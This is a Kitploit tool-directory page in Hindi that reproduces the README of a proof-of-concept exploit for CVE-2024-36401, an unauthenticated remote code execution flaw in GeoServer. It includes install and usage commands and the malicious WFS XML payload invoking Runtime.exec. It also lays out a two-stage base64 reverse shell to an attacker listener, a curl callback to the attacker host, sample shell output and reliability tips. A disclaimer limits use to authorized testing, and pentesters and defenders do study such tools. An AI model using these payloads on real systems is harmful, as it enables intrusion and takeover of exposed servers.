Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-36401-poc — OGC फ़िल्टर XPath इंजेक्शन के माध्यम से GeoServer (CVE-2024-36401) के लिए अनधिकृत RCE एक्सप्लॉइट। स्वचालित संस्करण पहचान और फीचर टाइप प्रोबिंग के साथ रिवर्स शेल और ब्लाइंड कमांड निष्पादन का समर्थन करता है। | Kitploit
उपकरण/GitHubGitHub/delt-a/cve-2024-36401-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

OGC फ़िल्टर XPath इंजेक्शन के माध्यम से GeoServer (CVE-2024-36401) के लिए अनधिकृत RCE एक्सप्लॉइट। स्वचालित संस्करण पहचान और फीचर टाइप प्रोबिंग के साथ रिवर्स शेल और ब्लाइंड कमांड निष्पादन का समर्थन करता है।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-36401 — GeoServer OGC XPath इंजेक्शन RCE

Python CVE CVSS License

GeoServer के लिए OGC फ़िल्टर valueReference पैरामीटर इंजेक्शन (XPath/JXPath मूल्यांकन) के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) एक्सप्लॉइट।

अस्वीकरण: यह टूल केवल अधिकृत पेनेट्रेशन परीक्षण और सुरक्षा अनुसंधान के लिए है। इसे उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग या इस टूल से होने वाली क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।


विषय-सूची

  • अवलोकन
  • प्रभावित संस्करण
  • तकनीकी विवरण
  • आवश्यकताएँ
  • स्थापना
  • उपयोग
  • उदाहरण
  • यह कैसे काम करता है
  • समस्या निवारण
  • संदर्भ

  • अवलोकन

    GeoServer भू-स्थानिक डेटा साझा करने के लिए एक ओपन-सोर्स Java सर्वर है, जो सरकारी, उद्यम और अनुसंधान वातावरणों में व्यापक रूप से तैनात है। CVE-2024-36401 एक बिना प्रमाणीकृत हमलावर को OGC (Open Geospatial Consortium) फ़िल्टर पैरामीटरों में Java एक्सप्रेशन इंजेक्ट करके होस्ट पर मनमाने OS कमांड निष्पादित करने की अनुमति देता है।

    इस भेद्यता को जुलाई 2024 में सक्रिय शोषण के कारण CISA Known Exploited Vulnerabilities (KEV) कैटलॉग में जोड़ा गया था।


    प्रभावित संस्करण

    ब्रांचअसुरक्षित रेंजसुधार संस्करण
    2.23.x< 2.23.62.23.6
    2.24.x< 2.24.42.24.4
    2.25.x< 2.25.22.25.2

    GeoServer के 2.23.0 से पुराने संस्करण भी प्रभावित हो सकते हैं, लेकिन वे end-of-life हैं और परीक्षण नहीं किए गए हैं।


    तकनीकी विवरण

    GeoServer OGC फ़िल्टर एक्सप्रेशन का मूल्यांकन करने के लिए GeoTools लाइब्रेरी का उपयोग करता है। valueReference पैरामीटर (और अन्य जैसे CQL_FILTER) बिना सैनिटाइज़ेशन के Apache Commons JXPath के JXPathContext.selectNodes() को पास किया जाता है।

    JXPath निम्नलिखित जैसे एक्सप्रेशन के माध्यम से मनमाने Java मेथड को कॉल करने का समर्थन करता है:

    root@kitploit:~
    exec(java.lang.Runtime.getRuntime(), 'id')
    

    यह मूल्यांकन कुछ एंडपॉइंट्स के लिए प्रमाणीकरण जाँच से पहले होता है, जिससे भेद्यता पूरी तरह से बिना प्रमाणीकरण के शोषण योग्य बन जाती है।

    असुरक्षित एंडपॉइंट्स:

    • POST /geoserver/wfs — valueReference के साथ GetPropertyValue अनुरोध
    • GET /geoserver/ows — क्वेरी स्ट्रिंग के माध्यम से वही पैरामीटर

    मुख्य तकनीकी नोट: valueReference एक्सप्रेशन में कमांड स्ट्रिंग के चारों ओर सिंगल कोट्स (') का उपयोग होना चाहिए। डबल कोट्स (") XML पार्सिंग विफलताओं का कारण बनते हैं और निष्पादन को रोकते हैं — यह अन्य सार्वजनिक PoCs में एक सामान्य गलती है।


    आवश्यकताएँ

    • Python 3.9+
    • requests लाइब्रेरी
    • एक असुरक्षित GeoServer संस्करण चला रहा टारगेट जिसमें कम से कम एक WFS फ़ीचर टाइप उपलब्ध हो (डिफ़ॉल्ट सैंपल डेटा वर्कस्पेस sf, topp, tiger पर्याप्त हैं)

    स्थापना

    root@kitploit:~
    git clone https://github.com/Delt-A/CVE-2024-36401-poc
    cd CVE-2024-36401-poc
    pip3 install requests
    

    या निर्भरताएँ सीधे इंस्टॉल करें:

    root@kitploit:~
    pip3 install requests
    

    उपयोग

    root@kitploit:~
    usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                      [-c CMD] [-f FEATURE]
    
    options:
      -h, --help            show this help message and exit
      -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
      -l, --lhost LHOST     Your IP address for reverse shell callback
      -p, --lport LPORT     Listener port (default: 4444)
      -c, --cmd CMD         Single command to execute (no output returned)
      -f, --feature FEATURE Feature type override (auto-detected if omitted)
    

    मोड

    मोडफ़्लैगविवरण
    रिवर्स शेल-l LHOST -p LPORTbash के माध्यम से दो-चरणीय रिवर्स शेल
    कमांड निष्पादन-c CMDएकल कमांड निष्पादित करें (ब्लाइंड — कोई आउटपुट नहीं)
    फ़ीचर टाइप ओवरराइड-f FEATUREऑटो-डिटेक्शन छोड़ें, निर्दिष्ट प्रकार का उपयोग करें

    उदाहरण

    1. रिवर्स शेल (अनुशंसित)

    पहले एक लिसनर प्रारंभ करें:

    root@kitploit:~
    nc -lvnp 4444
    

    फिर एक्सप्लॉइट चलाएँ:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444
    

    अपेक्षित आउटपुट:

    root@kitploit:~
       _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
      / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
     / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
    / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
    \____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
       ___
      <  /
      / /
     / /
    /_/
    
      GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
      Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6
    
    [*] Target : http://<TARGET>:8080
    
    [+] GeoServer detected — version: 2.24.2
    [+] Version 2.24.2 is VULNERABLE
    [*] Probing feature types...
    [+] Feature type: sf:archsites
    
    [*] Feature type : sf:archsites
    [*] Listener      : <LHOST>:4444
    [*] Start         : nc -lvnp 4444
    
    [*] Stage 1 — writing /tmp/rs.sh on target...
    [+] Payload delivered via sf:archsites
    [*] Stage 2 — executing → <LHOST>:4444
    [+] Done — check your listener
    

    लिसनर पर:

    root@kitploit:~
    Connection received on <TARGET> 43210
    bash: cannot set terminal process group: Inappropriate ioctl for device
    bash: no job control in this shell
    geoserver@target:~$
    

    2. कमांड निष्पादन (ब्लाइंड)

    आउटपुट प्राप्त किए बिना एक कमांड निष्पादित करें। आउट-ऑफ-बैंड सत्यापन या फ़ाइलें डालने के लिए उपयोगी:

    root@kitploit:~
    # Verify execution via file creation
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "touch /tmp/pwned"
    
    # Trigger a curl callback to confirm execution
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "curl http://<LHOST>:8000/pwned"
    

    नोट: शेल मेटाकैरेक्टर (>, |, &, ;) वाले कमांड पार्सिंग समस्याओं से बचने के लिए स्वचालित रूप से base64-एन्कोड किए जाते हैं।


    3. फ़ीचर टाइप मैन्युअल रूप से निर्दिष्ट करें

    यदि ऑटो-डिटेक्शन विफल हो जाता है, तो टारगेट से एक ज्ञात फ़ीचर टाइप प्रदान करें:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444 \
      -f topp:states
    

    GeoServer सैंपल डेटा के साथ शामिल सामान्य फ़ीचर टाइप:

    वर्कस्पेसफ़ीचर टाइप
    sfsf:archsites, sf:bugsites, sf:roads, sf:streams
    topptopp:states, topp:tasmania_cities, topp:tasmania_roads
    tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
    citecite:Buildings

    यह कैसे काम करता है

    एक्सप्लॉइट एक दुर्भावनापूर्ण valueReference एक्सप्रेशन के साथ GetPropertyValue WFS अनुरोध भेजता है:

    root@kitploit:~
    <wfs:GetPropertyValue service='WFS' version='2.0.0'
      xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
        exec(java.lang.Runtime.getRuntime(),'COMMAND')
      </wfs:valueReference>
    </wfs:GetPropertyValue>
    

    रिवर्स शेल के लिए, exec() सिंगल-स्ट्रिंग आर्गुमेंट के अंदर शेल मेटाकैरेक्टर से बचने के लिए दो-चरणीय दृष्टिकोण का उपयोग किया जाता है:

    चरण 1 — base64 एन्कोडिंग और शेल ब्रेस एक्सपैंशन का उपयोग करके रिवर्स शेल को /tmp/rs.sh में लिखें (exec स्ट्रिंग में कोई स्पेस नहीं):

    root@kitploit:~
    bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
    

    चरण 2 — स्क्रिप्ट निष्पादित करें:

    root@kitploit:~
    bash /tmp/rs.sh
    

    यह दृष्टिकोण पहले exec() कॉल में शेल इंटरप्रेटर की आवश्यकता से बचाता है, जिससे यह विभिन्न सिस्टम कॉन्फ़िगरेशन में विश्वसनीय बनता है।


    समस्या निवारण

    [-] Cannot connect to target

    • सत्यापित करें कि टारगेट URL और पोर्ट सही हैं
    • पुष्टि करें कि GeoServer चल रहा है: curl http://<TARGET>:8080/geoserver/web/

    [-] No usable feature type found

    • GeoServer सैंपल डेटा इंस्टॉल नहीं हो सकता है
    • -f <workspace>:<type> के साथ एक कस्टम फ़ीचर टाइप निर्दिष्ट करने का प्रयास करें
    • उपलब्ध प्रकारों की सूची देखें: curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

    [+] Payload delivered लेकिन कोई शेल प्राप्त नहीं हुआ

    • एक्सप्लॉइट भेजने से पहले पुष्टि करें कि आपका लिसनर चल रहा है
    • फ़ायरवॉल नियम जाँचें — टारगेट को आपके LHOST:LPORT तक पहुँचने में सक्षम होना चाहिए
    • कुछ PoCs कमांड के चारों ओर डबल कोट्स (") का उपयोग करते हैं — यह काम नहीं करता। सुनिश्चित करें कि valueReference एक्सप्रेशन के अंदर सिंगल कोट्स (') का उपयोग किया गया है।

    [!] Version X.X.X may be patched — attempting anyway

    • स्क्रिप्ट संस्करण पहचान की परवाह किए बिना हमेशा एक्सप्लॉइट का प्रयास करती है
    • यदि About पेज प्रतिबंधित है तो संस्करण पहचान विफल हो सकती है; एक्सप्लॉइट फिर भी सफल हो सकता है

    संदर्भ

    • NVD — CVE-2024-36401
    • GitHub Advisory — GHSA-7g64-hx6g-4427
    • GeoServer सुरक्षा सलाह
    • CISA KEV कैटलॉग
    • GeoTools JXPath पैच

    लाइसेंस

    यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE देखें।

    टूल डाउनलोड करें